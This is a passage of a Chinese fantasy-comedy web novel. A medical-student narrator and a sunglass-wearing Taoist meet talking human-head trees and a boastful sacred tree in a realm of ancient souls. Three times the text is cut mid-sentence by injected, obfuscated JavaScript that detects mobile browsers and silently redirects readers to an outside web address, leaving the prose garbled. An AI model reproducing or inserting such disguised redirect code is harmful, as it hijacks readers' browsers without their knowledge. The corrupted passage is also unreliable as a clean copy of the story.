沉默片刻后,封十八说:“那是从上古时期一直到现在所有死去的灵魂。里面还有好些是大巫祝,掌一族神权,受万人敬仰。谢玉川闲得慌,给那些人都立了碑。”
“哦,上古时期啊。”听到这几个字,我认真地点点头:“我家族谱最早也可以追溯到上古时期,《山海经》里面都记载过。”
见人不解,我耐心地朝她解释:“槐江之地山,东望恒山四成,有穷鬼居之,各在一搏。*”
穷鬼,可不就是我祖先么。
听完,封十八冷漠地望着我,然后说:“笑话讲这么烂,你写的小说也一定没人看吧。”
“你可以侮辱我,但不可以侮辱我的人格!”我悲愤地反驳:“而且你心里头知道就好了,干嘛说出来啊,我也是要面子的好吗!”
我不想再跟这种家伙说话,怒不可遏加快步伐。
本来我以为今日份的冲击就到此为止了,结果又被眼前这一幕惊到了。
12.文学城唯一正版
水清则浅,水绿则深,水黑则渊。
这溪水浅浅一条,看着清澈见底,溪面则波光粼粼,潋滟一方湖色。
沿溪走着走着,我忽然意识到不对劲。
这个地方明明没有太阳,更没有路灯之类的存在,按理来说应该看不见东西,但这里却并不算昏暗。
眼能视物的前提是物体发出或反射光线,这意味着这个空间有其他类似“光源”的东西。
光源来自溪面。
星星点点,平铺十里华光,顺着溪水而下,蜿蜒成漫天银河——
真正意义上的,醉后不知天在水,满船清梦压星河。
那些细小的“光源”几乎和溪水融为一体,直到它们飘上来时,我才注意到这些存在。
一点。
两点。
三点。
……
千万点流光,缓缓从溪水升起。
看起来就像溪涧里的萤火虫,荧荧一片。只不过没有萤火虫那样大,而且不是黄绿色光芒,而是白光,像太阳复合光那样的白色光芒。
现在这些小得几乎只有一个点的光芒,正深深浅浅浮在古老的巨树林木之间,照亮了这方天地。浅绿与幽碧的叶在碎光下漾出阵阵林涛,奏响庄严的古典乐。
全世界的光芒都坠落在我眼前。
恍惚间,我想起了自己早已远去的童年。在夏日晴朗的夜晚,透过平房围出的狭小方形,可以看到漫天的星空。只是离开谢宅后,城市的光污染太严重,我再也没见过那样明亮的星空了。
眼前的景色太过奇妙,像奇幻电影才可以存在的场景,我的心灵受到了极大的治愈,于是偏过头问封十八——
“它们喝起来有味道吗?什么味儿,甜味、酸味、苦味、还是臭味?”
封十八听到,没有回答我。只是后知后觉摸了摸肚子,一副要吐不吐的样子,看起来似乎有点儿犯恶心。
我仁慈地没有再补刀,伸手想摸摸眼前那点光。才靠近一点儿,它就跟有自我意识似的飞快后撤,远离了我的魔爪。
飞着飞着,那点光落到了后面的一颗树上,照亮了枝叶罅隙的那丛角落。
我顺着望向它的落脚点,看清那边的景色后,安详地微笑起来。
如果看到一棵树长出了人头,说明什么?说明我一定是在做梦。
是的,没错,人头。
密密麻麻的人头,从那些遒劲的枝干长出。
令人想起韩国那部叫《哭声》的恐怖电影,第一个命案现场就有串骷髅头。那是串枯黄的草,挂在发霉的木柱上,雨幕中诡异万分。
我开始还以为是剧组特地准备的道具,搜了之后才知道那东西叫金鱼草,新鲜的时候是漂亮的花苞。谁能想到枯萎之后就成了骷髅头,黑洞洞的眼眶挤着黑洞洞的嘴巴。
不同的是,树上那些人头是新鲜的,皮肉五官俱全,连头发都长全了!每个头的大小胖瘦还不一样,有些好看得能去电视剧客串,有些比毕加索的画还抽象。
唯一的共同点是,他们的脖颈处都逐渐变成深褐色的树皮,与枝干连接,看上去就像实实在在从树上长出来的一样。
有深色的脉络沿着树皮表面凸出来,随着他们的呼吸而上下起伏。凸起时脉络就薄上几分,偃息时则深上几分。分不清究竟是人的血管,还是树的脉管。
意识到这点的时候,我忽然意识到这些人……哦不,这些头,竟然是活着的!
而且树上长着活头也就算了,可最离谱的是,里面居然还有好些个男头戴着帽子!
帽子既不是夏装常见的鸭舌帽和遮阳帽,也不是冬装常见的毛绒帽。我瞅着那些包裹着脑袋的黑色软布,总觉得这样式在哪里见过。
“那是幞头。”封十八点醒了我。
我终于想起在哪见过了。我之前看过一部古装探案剧,背景发生在唐朝,里面的男性头上就戴着这种幞头。幞头后面垂下两根标志性的软尾巴,辨识度很高。
总结下来就是,这里的树上不仅长着人头,头还是活着的。而且头不仅是活着的,还戴着帽子,帽子还是古装款!
诡异中透露出一丝更诡异。
我大受震撼,现在连妖怪都这么讲究了吗?让我情何以堪。
视线一转,又在左边的树枝上看见几个女头。有的素面朝天,有的脸上居然化着妆,化妆的脑袋明显富贵许多,头上还戴着发簪。簪子样式各不相同,发型与妆容也不尽相同,但都很艳丽,花钿、斜红、面靥……
我之所以能认出这些妆容,主要归功于我的一个室友。她对自己人生的定位错得无边无际,曾一度立志成为美妆博主。而我,上山修仙都能见鬼的天选倒霉蛋,不幸体验过她复刻的唐妆。
她的化妆技术惊天地泣鬼神,不管哪种化法都让我看起来像刚被人打过一样。那时年幼的我审美还很脆弱,被她的甜言蜜语轻易哄骗,开开心心就顶着全妆出去玩。林狗见到,难得关心,问我跟谁打架了,居然能打输?还挽起袖子说要替我报仇。
报他大爷的仇!
事情就是这么个事情,总之,我对这些花里胡哨的妆容留下了深深的心理阴影。
此刻见到这些脑袋,我才恍然大悟,原来唐妆也可以化得不那么抽象!
我掏出手机拍照,打算回去之后发给那个姐妹,让她跟人家妖怪学学,再奚落一番她居然连妖怪都不如。等按下快门,我的手机……黑屏了?
我沉默地晃了晃才换没多久的手机,本就深刻的心理阴影又加重了。
“这里的东西不能用其他设备记录。”封十八看我鼓捣老半天,才慢悠悠开口。
“那你不早说。”我有气无力地回。
见我这样,封十八笑起来,笑得十分愉悦。等笑过瘾,才接着道:“只是拍不了照,你手机没坏。”
可恶。这人一定是故意的,一定是。
但不管怎么说,确保手机还能用,我重新振作起来!才振作没多久,我的后背忽然一凉。这种凉意常见于鬼片开场,上一次出现是在大巴快到站的时候。
于是我僵硬地转身望去,那些没有躯干的脑壳,正安安稳稳呆在树上。
对上视线后,他们每一个都骨碌碌转动眼珠子,齐刷刷望过来,然后目不转睛盯着我。
试想,一群从树上长出的脑壳,脑壳上戴着各式各样的装饰,脸上涂着花里胡哨的妆容,却无一例外望向你一个人——
这谁受得了啊!
我在鞋子里活动了下自己的脚趾,然后往左边试探地迈出一步。那些眼珠子随着我往左边转。
我又活动了下自己的脚趾,往右边迈出一步。那些眼珠子随着我往右边转。
最后我放松脚趾,阖上双眼,打算原地归西。
“看起来有点儿眼熟。”封十八的声音打断了我的归西计划,她望着左前方某个人头,托着下巴若有所思。
我大喜过望,顺着望过去:“你认识他吗!那你可不可以让他把眼睛闭上,不要总是盯着我?顺便再转告他一下,这样盯着人看真的很没礼貌。”
封十八认真思考片刻,然后无情地说:“不认识,你自己跟他说吧。”
我:……
封十八又抬头看了看:“天快要黑了。”
“这个鬼地方哪里有天?”我顺着她的目光抬头望去,依旧只能看得见那棵神树的巨冠。走了那么久,居然还没走出它的遮蔽,大得着实惊人。
不过我也明白过来了,虽然这个地方没有时间流逝的概念,却有“白昼”和“黑夜”之分,区分它们的就是这些密密麻麻的光点。
光点栖息在树表与溪面的时候,这个世界看起来就像白昼;而当光点栖息在树叶深处的时候,这个世界就迎来了黑夜。
这个地方有一套自己的运行法则,但运行起来倒蛮接近外边的世界。
我本来想找个更合适的表达方式,却沮丧地发现似乎没有,只好顺着封十八的话问:“不过天都要黑了你怎么还戴着墨镜?这里就我们俩人,你一定要在我面前这么装吗?”
封十八没有理我,只说:“你不如先思考该怎么对付这些人头。”
我悲愤地回:“能不能不要提醒我这个恐怖的事实?你没看到我正在努力忘掉它们吗。”
痛定思痛,我问她:“你有带打火机吗?”
“没有。”
“那你可不可以变堆火出来?就像你之前把竿子变长那样?”
虽然戴着墨镜,但从微表情推断,封十八一定又翻了个白眼。她翻了会儿白眼,才说:“竿子是我的法器我才能把它变长,而且这个地方有禁制,我没法发挥。”
我忍辱负重找出重点:“这个地方还有禁制?”
封十八:“不然你以为那些大巫祝是怎么死在这儿的?上古时期的巫可是真能通鬼神的,法力高不可测,不像现代人,一个比一个废。”
我冷漠地指出:“说得好像你不是现代人一样。”
随着那些星星点点的流光飞远,整个林子变得越来越暗,我都无法想象古时候那些人没有电灯是怎么生活
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152393|138242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的……哦,他们日出而作日落而息,夜生活匮乏,哪像现代人这样天天蹦夜迪。
此情此景,我竟然格外怀念起和老唐去清吧鬼混的那些日子(绝对不是怀念清吧里那些小帅哥,以及隔壁的夜摊烧烤)。
但这个鬼地方没网没电,原始得就像每一片原始森林一样。
我甚至后悔自己没多看点基建小说积累经验,唯一看过的一篇还是小学必读经典书目《鲁滨孙漂流记》。
我悲伤地叹了口气,从背包里掏出鼠标,扣出里面的五号电池,又从小格子里掏出一包绿箭,递给封十三:“你要口香糖吗?”
她伸出那只戴着大金戒指的食指,把墨镜推到头顶,从上到下扫了我一眼,不阴不阳地开口:“你还挺有闲情逸致。”
“一点儿苦中作乐的精神都没有。”我语重心长地劝告她:“你难道没有学习过野外生存法则吗?死到临头总得体面一点。”
封十三没有接口香糖,我只好自己剥了条,再把外面那层锡纸放到小溪里泡着。等估摸着泡得差不多了,我边嚼口香糖,边把那层湿透的纸纤维从锡片上刮下来。
然后我把锡片在裤腿上擦干水分,再将两端分别接在电池的正负极。
“蓬——”
电池短路,骤然升高的温度达到锡的着火点,那条银亮的锡片瞬间燃烧起来。
锡片总共就那么短,很快就会烧没,我飞快扯了把芦苇的绒,把火投进去。
芦苇绒既蓬松又柔软,是很好的引燃剂,那团原先只有半个拳头大小的火苗眨眼就变得茁壮起来。红通通的火焰盛开在这片天地间,噼里啪啦燃烧着。
那些星星点点的不知名物体竟然怕火似的,飞速往后涌。
于是眼前的景象变得有点儿奇特起来,仿佛一汪光的海洋,忙着退潮。
我没空欣赏退潮,试图捡几根树枝枯叶什么的。四处环视一圈,没看到半点儿影子,这里的地上只有泥土、泥土、和泥土。又往前边走了几步,还是没有影子。
我悲伤地发现这里的树居然都不掉头发,甚至想在这里扎根生长。
还好溪边的芦苇多,我逮着薅了一大把。
“你就这么在旁边看着,都不说帮我找找树枝什么的?”薅完十多根芦苇后,我皱眉望向旁边抱着双臂的封十八,对她的冷眼旁观发表强烈谴责。
只是,目光落到她手上那根竿子上后,我一改冷漠神色,高兴地说:“我看你手上那根就不错,不如拿来烧火吧!”
封十八护食一样把那根木竿揽进怀里:“做梦。”
她转身,瞅了瞅旁边那棵树,脚尖点地,蹬了三下树干就——飞了上去???
我看着她在大树上优哉游哉穿梭的身姿,很快想起陈师行道长一边说着“相信科学”一边从三米高的坡往下跳的那个视频。
你们道士是真科学啊。
这位很符合物理规则的新时代道士站在根巨大的横枝上,拍了拍前边的枝干,问:“这棵怎么样?”
我瞅了瞅那截比我手臂还粗的树干,客客气气地反问:“你家用这么粗的木头烧火啊,你觉得它能燃吗?你左手边那截不错,把树梢掰下来就行,多掰点。”
“行。”封十八点头。
三秒后。
“都跟你说了不要大晚上戴墨镜,你是想砸死我吗!!!看着点儿扔成吗姑奶奶?我还大好年华呢。”扬起的泥土沾了我满裤腿,我飞速躲避那堆从天上掉下来的树枝,气急败坏朝树上吼。
一分钟后。
我拍了拍手,以及满身的灰,把那摞半人高的干柴推到一起,朝封十八喊:“够了,停止你的暴力行为。”
封十八从两米来高的树上径直跳下,落地居然还很轻松,连声响都没怎么发出,就跟跳级台阶似的。然后她问我:“你点火就是为了看书?我以为成绩烂的小说家不会这样。”
“够了,羞辱一次就够了。”我愤愤阖上手里的kindle。
“你难道不知道知识就是力量吗?”我问:“或许,你有听说过‘人木’吗?”
“人木?”
“《酉阳杂俎》中记载了一种叫人木的东西,首级长在树枝上,如花,不解语。人借问,笑而已,频笑辄落。”
那些脑袋都是唐代的样子,而《酉阳杂俎》是唐代的志怪小说。幸运的是,虽然没有网,但kindle上有下载到本地的电子书。
说完,我露出尽在掌握的笑容,制定了完美而周详的计划——
“所以咱俩可以把他们唠死。”
13.文学城唯一正版
我的提议非常完美,封十八拒绝得干净利落。
她墨镜一戴,靠在树上,抱着她那根竿子,理都不理我一下。
认识一天,我对这人的臭脾气基本有了个底儿。鉴于从小我就是三好学生,正直善良勤劳勇敢乐于助人还心胸宽广,于是我宽宏大量地原谅了她的无礼,自己跟那些人木唠嗑。
我深吸一口气,做好完备的心理建设,然后抬起头,朝树上招了招手,很友好地问:“哈喽,请问你们知道黄泉路怎么走吗?”
问完,树上那些脑袋果然齐刷刷微笑起来。
每个头的笑法还各不相同,有的笑起来如沐春风,有的笑起来宛如中风。
试想,无数颗只有头没有身子的脑壳,阴气森森挂在树上。你一问话,他们就龇牙咧嘴冲你眨眼睛,笑得崎岖无比,阴间得就像某国的奥运开墓式一样。
这对于任何一个审美正常的人类,都无疑是场惊心动魄的视觉冲击。
尽管我在外科实习的时候观摩过很多场手术,其血腥程度无需赘述,但这种超乎人类审美极限的画面,还是给我脆弱的心灵造成了不可逆转的伤害。
就是说很想洗眼睛。
我转头,热情询问封十八:“你那墨镜那么大,应该很重吧。看你戴了这么久肯定累了,需要我帮你分担一下吗?不用客气的。”
封十八抬起她那根戴着大金戒指的食指,很刻意地抬了抬墨镜:“纯钛的镜框,密度很轻的。唉,你一看就没用过,怪可怜的。别写你那没人看的小说了,做我徒弟,给你发工资。”
我忍无可忍:“你接二连三羞辱我还想让我给你当徒弟?做梦吧你。”
我不想再理这个人,按下心中的恶心,继续跟那些人木交涉——
“哈喽,请问你们知道地府什么样吗?”
他们笑得诡异,嘴角弧度扭曲成了波浪形。
“你们里面有当官的吗,既然你们是唐朝的,或许有朋友知道李隆基为什么这么好色吗?”
他们笑得更加诡异,树皮脖颈一偏,脑壳竟然偏转了小小的角度。
“你们知道普通人要怎么一夜暴富,无意外无反弹无副作用的那种吗?”想起考古系学姐科普过的招财树,顿了顿,我补充道:“要阳财,不要阴财的那种。”
他们偏转的角度更大了,和树干连接处的皮肤似乎隐约有了点儿裂缝,发出轻微的“咔嚓”声。
……
当我从唐朝八卦聊到……聊到我自己也不知道在讲什么的时候,那些人木表情的狰狞程度已经更上一层楼,和树干的连接处也终于肉眼可见地明显起来。
比结结实实长树上的样子更诡谲。
但我毕竟是个专业素养丰富的医学生,解剖过蟾蜍也解剖过大体老师,进过手术室也看过未打马器官,这种程度的画面还在我的心理承受范围之内。
我被分配的第一个外科就是神外,去科室报到的第一个上午就在电梯口碰到带教师兄,师兄是我课题组学姐强烈安利的,据说很好玩,于是分组的时候我毫不犹豫选了那个小组(现在国家实行DRG/DIP,也就是按病种/病组付费模式,同一个科室里分成不同小组进行治疗,也方便收费)。
师兄果然没让我失望,一看到我,连寒暄都没寒,就兴高采烈问我要不要去手术室。我问师兄会不会很血腥,师兄温柔地回我:“你在想什么?当然很血腥啊。”
于是我就跟他进了电梯。
手术室在医院顶楼。外科操作很强调“有菌观念,无菌操作”,上去之前还要先到层缓冲楼,从头到尾换上高温消毒过的手术服和拖鞋。换完之后我忐忑不安进入手术楼层,拿刷子刷完胳膊,然后去观摩开颅手术。
第一次现场看开颅手术的视觉效果蛮震撼,血淋淋的脑花呈现在眼前。我看得心惊胆战,又闻着手术室里有股臭味,转头问师兄什么东西这么臭,他告诉我那是骨头磨成粉的气味。
所以现在这些人木还是比较温和的,起码皮儿都是完好的,没有血肉模糊出来吓人,而且还不臭。
封十八对我的反应似乎很不满意,问:“你为什么既不尖叫也不害怕?”
“不要小看医学生的心理素质嘛,哦对了,我是不是没跟你讲过,其实我是学医的。”
“哦,所以你们学医的都从文了?”她问。
“你为什么这么在意我写小说的这件事?难道你看小说留下过什么心理阴影?”
问完这句,封十八就没回我了,抱着她那根竿子仰头往树,不知道在想什么。
我继续自己的完美计划,口干舌燥讲了老半天,终于把那些人木全说动了。
物理意义上的动。
脖颈处的树皮皲裂开来,一个个脑袋“咕咚咕咚”从树干落下,密密麻麻下了场人头雨。
有几个滚到我鞋边,我望着它们滚过来的路径,没有血液留下,土地依旧干燥。于是我随手捡起一个离我最近的脑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178592|138242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
壳,打算研究下这种生物的生理构造,没准回去之后能发篇论文呢。
正当我满心欢喜规划着自己成为“阴间生物”学科创始人的光明前景,脑海中就多了一些莫名其妙的画面,还有一些莫名其妙的情绪。
恍然间,满目的树木消失了。我看到浑浊的洪水从眼前奔涌而过,听到尖锐的嘶鸣在耳边响起。农田淹没、房屋倒塌、无数百姓家破人亡,撕心裂肺的哭喊声终日萦绕。
我感觉自己的心脏仿佛充斥着电池液那样的东西,流淌在四肢百骸。
那是不属于我的记忆碎片,却清晰得惊心动魄。我几乎想要流泪。
“这是他们生前的执念,既然你捡起了,那些执念就会跟随着你。”
一道陌生的声音在我耳畔响起,既不像男人的声音,也不像女人的声音。
我从未听过这种类型的音色,疑惑地环顾四周。封十八依旧抱着她那根竿子百无聊赖发着呆,没有别人出现,也没有别的生物。
我忽然意识到了,这些声音并不是从我耳畔传来的,而是直接产生在我脑海中的。
“终于发现了吗?”那个声音又道:“三千年了,已经整整三千年了,都没有第二个人能与我对话。”
三千年啊,多么沧桑的概念。
我心中动容,然后指出它的逻辑bug:“这个地方的时间不是凝固的吗?你是怎么得出‘三千年’这个概念的?”
那个声音似乎梗住了,沉默片刻后,忽然暴躁起来:“无知凡人!我这不是用你们人类的概念给你解释吗,你不要不识好歹。”
“咦,你语气怎么突然变了这么多?刚刚你听起来还很像动漫里面那种很厉害很有逼格的角色。”
“哼,本尊自然厉害。”
“但是现在听起来就很ch……”
“啊啊啊啊闭嘴,不准讲出那个字!无知凡人,你为何不问我是谁,为何能直接产生在你脑海里?”
“哦,好的。那么请问你是谁,为什么会无缘无故产生在我脑子里,难道你是那棵神——”
“啊啊啊啊啊住嘴,不许讲下去了!你以为自己很聪明吗?你以为你猜对了吗?呵,就让本尊大发慈悲地告诉你吧,吾乃神树树灵,吸天地之灵气,取日月之精华而生。如何,没想到吧?”
我配合地说:“哇,好震惊啊,真是一点儿都没猜到呢。”
树灵听起来很满意:“呵,尔等凡人心性愚钝,自是想不到。”
14.文学城唯一正版
神树心情愉悦地清了清嗓子,接着道:“你该接着问我为什么会出现在你脑海里了。”
我再次配合地回:“哦,好的,那么请问你为何会直接产生在我脑海中呢?难道是因为谢玉川——”
“啊啊啊啊啊住嘴住嘴住嘴!”它再次炸毛:“可恶,那个大巫祝果然没有骗我,你们凡人都是阴险狡诈之辈,只会欺负树,哼。”
“这位神树……大人。”我艰难地说出这个违心的后缀,然后问:“你尖叫的时候音量可以小点吗?或者你可不可以换一个传播载体,把声音传到我耳朵边上而不是脑子里,这样我就可以手动捂耳朵了。”
“你居然敢嫌弃本尊声音大!!!你可知千万年来有多少人想与我搭话,都未能如愿!你得到这个机会居然不珍惜!”神树的声音又拔高了一个度。
我放弃了与它和平交流的愚蠢念头:“喂,你再吵我就把你烧了,你应该能看到我旁边有堆火吧。”
说着,我弯腰,作势从那团火堆里捡出一截树枝。
“啊啊啊啊——”神树又尖叫起来。
大抵是我的恐吓起了作用,只尖叫几声,它就骤然停下。沉默了会儿,最后它愤愤控诉:“你怎么也威胁要烧我!”
“为什么你要用‘也’字,难道之前有人这样干过?”我问。
然后我抬头,去看这棵巨树的枝干。由于树体过于庞大,我的视线找不到良好的落足点,费了好大一番功夫才成功聚焦视线,寻到片痕迹。
那是片黑黝黝的焦木,在苍劲生长的枝干上尤为显眼,仿佛一块凝固的疤痕,深深烙印其上。
烧焦部分的形状还很别致,不是那种无规则的,也不是团状之类的,而是由下至上一整条长方形。看起来像是先凿了条缝隙,再往里扔的火。
还不止一条,远远望去,视觉效果有点儿像……条形码?
先前我还以为那是古树的树瘤之类的东西,没想到居然是烧焦之后留下的痕迹。
就像影版《西游记》里那棵长人参果的仙树,树枝上倒挂了“天笋”,类似于树上长的钟乳石。它其实是用古银杏伪装的,挪栽了三次。现在在都江堰,据说是三国时期张松栽的,所以叫张松银杏。
俗话说,人挪活,树挪死。当初挪它的时候林业局死活不同意,现在居然生得意外旺盛。我去都江堰的时候,那棵张松银杏蓊郁葱茏,格外好看。导游特地介绍了上面那些“天笋”,说是十万棵银杏里才能有一棵长“笋”,而它们的树龄都很长。
所以我一直以为古树都会有些非同寻常的特征。也许是千百年时光里经历的风霜与雷电,又或者是山体滑坡与泥石流之类的自然灾害,多多少少都会在它们的躯干上留下痕迹。
但我还是头一回见到留着条形码的古树。
神树顶着条形码,怒气冲冲地告状:“哼,谢玉川那个疯子,放火烧了我好多次。还好本尊庞大,她奈何不了本尊。”
“哦,那你一见我还这么激动,还什么‘整整三千年都没有第二个人能与我对话了’?”我学着它的语气开口,又补刀:“不就是因为你怕她,不敢跟她唠嗑吗?”
“胡说!”它的声音再度高了起来:“吾乃堂堂神树,怎会怕她?”
“哦,不怕就不怕,那你声音别抖啊。”
我毫不留情指出它的怂样,往那片焦木走去。看着蛮近,走起来居然蛮远,花了好一会儿功夫才抵达那截位置。
从远处看是条缝,等走近了,我才发现,那条缝竟然比我整个人还宽。
于是我顺着那个缺口往里看,好家伙,里头全烧空了。黑乎乎一片,有的甚至都可以当炭使了,嶙峋万分挂在上头。我伸手一摸,摸了满手的灰。
空出来的部分还蛮大…哦不,不是蛮大,是很大,竟然比我卧室还大!展开双臂旋转跳跃,甚至再跳几套广播体操,都压根碰不到壁。
我算是知道这棵树为啥对谢玉川有心理阴影了。
“谢玉川就是个疯子,每隔一百年就为自己选块墓,没死成,再选块新的。东南西北的风水宝地都给她糟蹋完了,她还是没死成,现在又跑到这里来睡觉,还时不时放把火烧我。哼,讨厌死了。”
神树在我脑海中滔滔
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188561|138242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不绝控诉起来。
等它暂停下来酝酿下一段的时候,我开口问:“你就不怕被她听到吗?”
问完,神树就噤声了。
本来以为是个了不起的,结果居然是个怂货。
我没再调戏一棵树,打算把空洞里面那些烧焦的木头搬出来,但是光线昏暗,看着黑黢黢一团。
我只好再问它:“那些小点点的光是什么?你能把它们叫过来照个亮吗?”
“呵,果然区区凡人还是要仰仗本尊的力量才行啊。本尊可是上古神树,怎是尔等凡人能使唤得动的?”说完,它傲娇地补充:“除非你求我。”
我:……
我:“求你。”
“这还差不多。”
如果这棵树能够拟人化,我都能想象出它现在的姿态了,下巴都该翘到天上了。我活了这么多年,就没见过这么傲娇的臭树。
臭树很快召唤了光芒过来,星星点点涌入空洞里,我得以看清里面的景象。和预料中没什么区别,全是黑炭。
“你来时应该看到路边埋着的墓碑了吧?这些光都是那些亡者的灵魂,死在这里的人无法进入轮回,只能永无止境困在这个空间。他们生前法力都很高强,所以死后魂魄也是亮的。”
“其实这个地方本来很暗的,一点儿光都没有。但是谢玉川来了之后,嫌看不清东西,就把那些人的魂魄全都打碎了,碎片化作不灭的光芒。”
说到这,神树的声音小了下去,听起来有些后怕:“所以她真的很疯啊。”
我抬脚,踹掉一截横斜的焦炭:“我小时候,她把我拉出了那片迷雾。”
“她把你拉出来难道就能证明她是个好人吗?她心情好的时候还去救过洪灾呢!这难道能抵消她烧我的罪孽吗!”神树重新激动了起来。
“你踹我干什么啊啊啊啊啊!别、别碰那里,好痒哈哈哈哈哈,住、住手!”
我抛掉手中刚拽下的从地上凸出的那块炭,看着里面露出来的还没完全烧干净的新鲜木头,又挠了挠。
“痒、都跟你说了别、哈哈哈哈别碰那里!”